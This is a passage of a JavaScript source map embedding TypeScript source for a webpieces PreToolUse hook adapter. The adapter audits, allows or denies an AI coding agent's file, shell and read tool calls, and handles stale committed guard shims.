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","sourcesContent":["import * as path from 'path';\n\nimport { run, runBash, runRead } from '../core/runner';\nimport { logRejection, extractRuleNames } from '../core/rejection-log';\nimport { logGuardDecision, GuardDecision, branchForLog, invocationLog, MATRIX_L0_BLOCK, MATRIX_L2 } from '../core/decision-log';\nimport { triggerMainSyncRefresh } from '../core/main-sync-refresh';\nimport { CONFIG_FILENAME } from '../core/load-config';\nimport { RepoRootFinder } from '@webpieces/rules-config';\nimport { NormalizedToolInput, NormalizedEdit, ToolKind, InformAiError, RuleFailError, HookMode, BlockedResult } from '../core/types';\nimport { toError } from '../core/to-error';\nimport { emitDeny, emitAllow } from './claude-code-response';\nimport { governingShimRoot, isAllowed, installedShimRulesVersion } from '../bin/shim';\nimport { shimStaleDenyReason } from '../bin/shim-deny-reason';\nimport { managedSurfaceDrift } from '../bin/hook-registration';\nimport { writeGuardMatrixDoc, guardMatrixPointer } from '../core/l0-matrix';\nimport { logStream, StreamIdentity } from '../core/log-stream';\nimport { L0_FAULT_SHIM_STALE, L0_FAULT_NONE } from '../core/l0-fault-codes';\n\n// Which category of rules this hook invocation runs. The hook is split into two independently\n// installable PreToolUse hooks; each runs ONE category (the runner filters by it), and both can\n// receive file AND bash payloads:\n// - 'rules' → code-style rules (file/edit scope). Bash payloads pass through (no code rules apply).\n// - 'guards' → hookGuards section: bash git/PR guards on Bash AND file guards (feature-branch-guard)\n// on Write/Edit, PLUS a log-and-allow audit of Read. Matcher is Write|Edit|MultiEdit|Bash|Read.\n// - 'all' → both categories, used by the openclaw plugin adapter (a single before_tool_call hook).\nexport type { HookMode };\n\nconst HANDLED_FILE_TOOLS = new Set(['Write', 'Edit', 'MultiEdit']);\n\n// Read-only tools carry NO guard or code rule, but the guards hook owns the per-invocation audit log\n// (the `calls/` stream). When the guards matcher includes these (see setup.ts GUARDS_HOOK), a\n// log-and-allow fast path records every file the AI opens — so a human can later inspect whether it\n// read a project's design.json BEFORE editing the project. Never blocked. Scoped to Read for now;\n// widen (Grep/Glob/NotebookRead) later if desired.\nconst READ_ONLY_TOOLS = new Set(['Read']);\n\ninterface ClaudeCodePayload {\n tool_name: string;\n tool_input: ClaudeCodeToolInput;\n // Claude Code sends the session's current working directory (follows a persisted `cd`). Used to\n // scope guards to the git repo the AI is actually in — see runner git-repo-boundary governance.\n cwd?: string;\n // Present ONLY when the hook fires inside a SUBAGENT; absent = the coordinator. Used to NAME the log\n // writer file and nothing else — never to decide which tree a call acts on, which is measured from\n // the path (see core/version-sync.ts). A worktree-isolated agent was measured resuming on the primary\n // clone after its tree was reaped, so identity cannot stand in for location.\n session_id?: string;\n agent_id?: string;\n agent_type?: string;\n}\n\ninterface ClaudeCodeToolInput {\n file_path?: string;\n content?: string;\n old_string?: string;\n new_string?: string;\n edits?: ClaudeCodeEditEntry[];\n command?: string;\n}\n\ninterface ClaudeCodeEditEntry {\n old_string?: string;\n new_string?: string;\n}\n\nfunction readStdin(): Promise<string> {\n return new Promise((resolve: (value: string) => void) => {\n let data = '';\n process.stdin.setEncoding('utf8');\n process.stdin.on('data', (chunk: string) => { data += chunk; });\n process.stdin.on('end', () => resolve(data));\n process.stdin.on('error', () => resolve(''));\n if (process.stdin.isTTY) resolve('');\n });\n}\n\nfunction safeParse(raw: string): ClaudeCodePayload | null {\n if (!raw || raw.trim() === '') return null;\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n return JSON.parse(raw) as ClaudeCodePayload;\n } catch (err: unknown) {\n const error = toError(err);\n throw new InformAiError(`Malformed hook input from Claude Code stdin: ${error.message}`, { cause: error });\n }\n}\n\nfunction normalizeToolKind(toolName: string): ToolKind | null {\n if (HANDLED_FILE_TOOLS.has(toolName)) return toolName as ToolKind;\n return null;\n}\n\nfunction normalizeToolInput(toolKind: ToolKind, toolInput: ClaudeCodeToolInput): NormalizedToolInput | null {\n const filePath = toolInput.file_path;\n if (!filePath) return null;\n\n if (toolKind === 'Write') {\n return new NormalizedToolInput(filePath, [\n new NormalizedEdit('', toolInput.content || ''),\n ]);\n }\n if (toolKind === 'Edit') {\n return new NormalizedToolInput(filePath, [\n new NormalizedEdit(toolInput.old_string || '', toolInput.new_string || ''),\n ]);\n }\n if (toolKind === 'MultiEdit') {\n const raw = Array.isArray(toolInput.edits) ? toolInput.edits : [];\n const edits = raw.map((e: ClaudeCodeEditEntry) => new NormalizedEdit(e.old_string || '', e.new_string || ''));\n return new NormalizedToolInput(filePath, edits);\n }\n return null;\n}\n\n// The rule name for a block's audit line: the FIRST rule the report cites, or `fallback` when the\n// report opens with no `[rule]` header (a hand-written guard message). Comma-joined when a report\n// cites several, so `rule=` never silently drops one.\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction blockingRule(report: string, fallback: string): string {\n const names = extractRuleNames(report);\n return names.length > 0 ? names.join(',') : fallback;\n}\n\nfunction handleBash(payload: ClaudeCodePayload, cwd: string, mode: HookMode): void {\n const command = payload.tool_input.command;\n if (!command || command.trim() === '') { emitAllow(); }\n const result = runBash(command, cwd, mode);\n if (!result) { emitAllow(); }\n // NO DECISION LINE HERE. This used to write a generic `bash-guard` line because a Bash deny once\n // had no audit trail at all — but every layer now records its own: L1 into `L1-location/` with its\n // row, L2's guards into `L2-decisions/` with their rule and cache, and emitDeny below stamps the\n // call-level outcome onto `calls/`. So this was the THIRD line for one block, and the worst of the\n // three: it re-resolved the root from `cwd` via RepoRootFinder, which is not necessarily the tree\n // the guard actually judged, so a `cd`-relocated command scattered one block across two different\n // `.webpieces` directories.\n //\n // Bash deny → pass 'Bash' so denyJson adds the ANSI-red systemMessage (the only field a Bash deny\n // shows the human; permissionDecisionReason is invisible on Bash). See claude-code-response.ts.\n emitDeny(result.report, 'Bash', blockingRule(result.report, 'bash-guard'), result.fault);\n}\n\n/**\n * The read-scoped guard pass. Returns normally to ALLOW; only calls emitDeny when the guard fires.\n *\n * Wrapped in its own catch that swallows into an allow. Every other path in this hook fails CLOSED,\n * and that is right for edits and shell commands — but a crash here would block the agent from\n * READING, which includes reading webpieces.config.json to turn the offending guard off. So this one\n * path deliberately inverts the policy: a broken read-guard degrades to a no-op, never to a wedge.\n */\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction handleRead(filePath: string, cwd: string, mode: HookMode): void {\n if (filePath === '') return;\n let result: BlockedResult | null = null;\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n result = runRead(filePath, cwd, mode);\n } catch (err: unknown) {\n const error = toError(err);\n void error;\n return; // fail OPEN — see the doc comment\n }\n if (!result) return;\n logRejection('Read', new NormalizedToolInput(filePath, []), result, cwd);\n emitDeny(result.report, 'Read', blockingRule(result.report, 'read-guard'), result.fault);\n}\n\nfunction handleFileTool(payload: ClaudeCodePayload, cwd: string, mode: HookMode): void {\n const toolKind = normalizeToolKind(payload.tool_name);\n if (!toolKind) { emitAllow(); }\n\n const input = normalizeToolInput(toolKind, payload.tool_input);\n if (!input) { emitAllow(); }\n\n // Always allow edits to webpieces.config.json — it's the fix target when the config is broken.\n // This exits BEFORE run(), so feature-branch-guard never sees a config edit; record that so the\n // audit trail explains why a config edit on a bad branch was not blocked (see decision-log.ts).\n if (path.basename(input.filePath) === CONFIG_FILENAME) {\n if (mode !== 'rules') {\n // `.webpieces/` (the decision log + sync cache these two calls write) lives at the repo\n // root, not the AI's cwd — resolve it so a config edit from a subdir doesn't create a\n // stray `<subdir>/.webpieces` tree.\n const root = new RepoRootFinder().resolveRepoRoot(cwd);\n logGuardDecision(\n root,\n new GuardDecision('feature-branch-guard', toolKind, input.filePath, branchForLog(root), 'ALLOW_EXEMPT', 'config-bypass (feature-branch-guard skipped)', '-', L0_FAULT_NONE, MATRIX_L2),\n );\n // The guard's own refresh trigger lives inside its check(), which we skip here — so warm\n // the cache directly, otherwise a session that only edits webpieces.config.json never\n // refreshes the sync status. Fire-and-forget; never blocks the edit.\n triggerMainSyncRefresh(root);\n }\n emitAllow();\n }\n\n const result = run(toolKind, input, cwd, mode);\n if (!result) { emitAllow(); }\n\n logRejection(toolKind, input, result, cwd);\n // File-tool deny → pass the Write/Edit/MultiEdit kind so denyJson omits systemMessage (the reason\n // already renders red natively for these tools). See claude-code-response.ts.\n emitDeny(result.report, toolKind, blockingRule(result.report, 'file-guard'), result.fault);\n}\n\n// What a stale committed shim lets through — now a thin adapter over the ONE L0 allowlist (isAllowed in\n// ../bin/shim), not a list of its own. A stale shim must NEVER trap the actions needed to recover: the\n// original \"block everything but the cures\" version also shadowed the always-allowed\n// webpieces.config.json edit (handleFileTool) and blocked reads, so a repo that ALSO needed its config\n// fixed would deadlock — blocked from editing the one file whose edit is normally always allowed, and\n// blocked from reading it to know how.\n//\n// It used to carry its OWN narrower list (isShimCureCommand: the three shim cures only), and that\n// narrowness was a defect, not a safety property: `pnpm install` and `git pull` — the two commands that\n// resolve the version disagreement underneath a stale shim — were denied. Consulting the shared\n// allowlist fixes that by construction.\n//\n// What is NOT a defect, and must not be \"fixed\": those cures rewrite the committed shim from the\n// INSTALLED binary's renderShim(), overwriting whatever was there. That is the invariant, not\n// collateral damage. The shim (D/X/K, in POSIX sh, pre-binary) and this binary (S/C/Y, in JS) are two\n// halves of ONE L0 and they exchange assumptions — the shim parses file_path and carries ALLOW-READ /\n// ALLOW-CONFIG entries this binary relies on. Pair a binary with a shim rendered by a DIFFERENT\n// release and L0 acquires holes that nothing reports. So the rule is absolute: the committed shim\n// equals renderShim() of the binary in node_modules, and a cure that forces that is the cure working.\n// See healShim's header, which states the same invariant from the other side.\n//\n// Corollary for anyone regenerating the shim in a webpieces PR: commit `templates/ai-hook.sh` (source,\n// locked to renderShim() by unit test) and leave `.claude/webpieces/ai-hook.sh` (generated artifact)\n// alone. In THIS repo the local source runs ahead of the pinned node_modules, so committing a shim\n// rendered from local source produces a commit whose shim and whose @webpieces pin come from different\n// releases — precisely the mismatch above. The artifact heals on the next upgrade; that is its job.\n//\n// - 'allow-cure' → a Bash cure on the allowlist: emitAllow directly, bypassing the git guards.\n// - 'pass' → a recovery action the normal flow already permits, so fall THROUGH and let it: ANY\n// Read (you must read to know how to fix — see handleRead, which itself fails open),\n// or an edit to webpieces.config.json (the always-allowed recovery target).\n// - 'deny' → all OTHER work: blocked until the committed shim matches renderShim() again.\nexport type ShimStaleDecision = 'allow-cure' | 'pass' | 'deny';\n// webpieces-disable no-function-outside-class -- pure decision helper beside the adapter's other module-scope functions; exported for direct unit testing.\nexport function shimStaleRecoveryDecision(toolName: string, command: string, filePath: string): ShimStaleDecision {\n const allowed = isAllowed(toolName, command, filePath);\n if (allowed === 'pass') return 'pass';\n if (allowed === 'allow') return 'allow-cure';\n return 'deny';\n}\n\n// MANAGED-HOOK-SURFACE self-guard, moved here from the rendered shim (2026-07-24) and widened from one\n// file to three (2026-08-07). The committed\n// .claude/webpieces/ai-hook.sh is webpieces-MANAGED and generated from renderShim(); if it no longer\n// matches, it was reverted / hand-edited / predates this binary, so its OWN fail-closed logic can't be\n// trusted. We are the CURRENT binary from node_modules — the trustworthy party — so WE decide here\n// instead of the (possibly stale) shim. It used to `cmp` itself inside the shim: a double-edged trap,\n// since the check lived in the very file it guarded and a fix could only ship by regenerating that\n// file. Now we fail closed on all real WORK while always leaving the recovery path open (see\n// shimStaleRecoveryDecision): the whole L0 allowlist, any Read, and editing webpieces.config.json. We deny +\n// tell the AI; we do NOT silently rewrite the file under it. 'rules' hook skips it (guards owns the\n// shim). Returns normally (pass / nothing to do) or exits via emitAllow/emitDeny.\n// webpieces-disable no-function-outside-class -- sibling of handleBash()/handleFileTool() in this module; the adapter is module-scope functions by design\nfunction enforceCommittedShim(payload: ClaudeCodePayload, cwd: string, mode: HookMode): void {\n // ONE root for the whole decision, resolved from the RUNNING MODULE (governingShimRoot), never from\n // `cwd`: the shim file we compare and the renderShim() we compare it TO must come from the same\n // install, or the check straddles two trees and can never converge (see governingShimRoot's header).\n // `cwd` still selects where the L0 matrix doc is dropped — that is a \"where does the AI read\" question,\n // not part of the judgement.\n const shimRoot = governingShimRoot();\n if (mode === 'rules') return;\n // WHICH of the three managed things moved — ai-hook.sh, the settings.json registration, or its\n // managed env entry (the Bash-cwd pin that keeps a guard's verdict independent of where an earlier\n // `cd` left the shell; see managed-env.ts). Nothing validated the registration before it joined this\n // fault, so a settings file left on a superseded form silently changed WHO GOVERNS, with no signal\n // anywhere — which is the whole reason the registration is a drift surface and not just an install\n // step.\n const drifted = managedSurfaceDrift(shimRoot);\n if (drifted.length === 0) return;\n const decision = shimStaleRecoveryDecision(payload.tool_name, payload.tool_input.command ?? '', payload.tool_input.file_path ?? '');\n if (decision === 'pass') return;\n if (decision === 'allow-cure') emitAllow();\n // Drop the L0 matrix doc where the AI can read it and point the deny at it — a Read is entry 1 of\n // the same allowlist, so the pointer is always followable. Best-effort: no doc → no pointer.\n const root = new RepoRootFinder().resolveRepoRoot(cwd);\n const docPath = writeGuardMatrixDoc(root);\n // WRITE THE AUDIT LINE HERE. This block happens BEFORE invocationLog.begin() — it has to, since a\n // stale shim invalidates everything downstream — so emitDeny's flush finds nothing pending and an\n // `S` storm left NO trace at all: the one fault most likely to block twenty consecutive tool calls\n // was the one fault the trail could not show. A decision line is the fix that costs no reordering.\n const target = payload.tool_input.command ?? payload.tool_input.file_path ?? '';\n logGuardDecision(\n root,\n new GuardDecision('committed-shim-stale', payload.tool_name, target, branchForLog(root), 'BLOCK_AI_CURE', 'L0 fault S (committed shim != renderShim)', '-', L0_FAULT_SHIM_STALE, MATRIX_L0_BLOCK),\n );\n // L0 fault S in GUARD_MATRIX.md's codebook — named as the blocking rule so the invocation line\n // says WHAT stopped the call, not merely that something did, and stamped as `fault=S` so the same\n // grep finds it here as in the sh half's `L0-shim/` stream.\n // A subagent is discriminated by `agent_id`, which Claude Code populates on stdin only off the main\n // loop (main falls back to the session id, so the field is absent). Its cure differs: the hooks\n // blocking it resolve through CLAUDE_PROJECT_DIR, which names the MAIN tree.\n const inSubagent = (payload.agent_id ?? '') !== '';\n emitDeny(shimStaleDenyReason(installedShimRulesVersion(), shimRoot ?? '', drifted, inSubagent) + guardMatrixPointer(docPath), payload.tool_name, 'committed-shim-stale', L0_FAULT_SHIM_STALE);\n}\n\n/**\n * Shared entry point for all three Claude Code PreToolUse adapters. `mode` selects which tool kinds\n * to validate; payloads outside the mode's scope pass through (emitAllow). Blocks by emitting a\n * PreToolUse 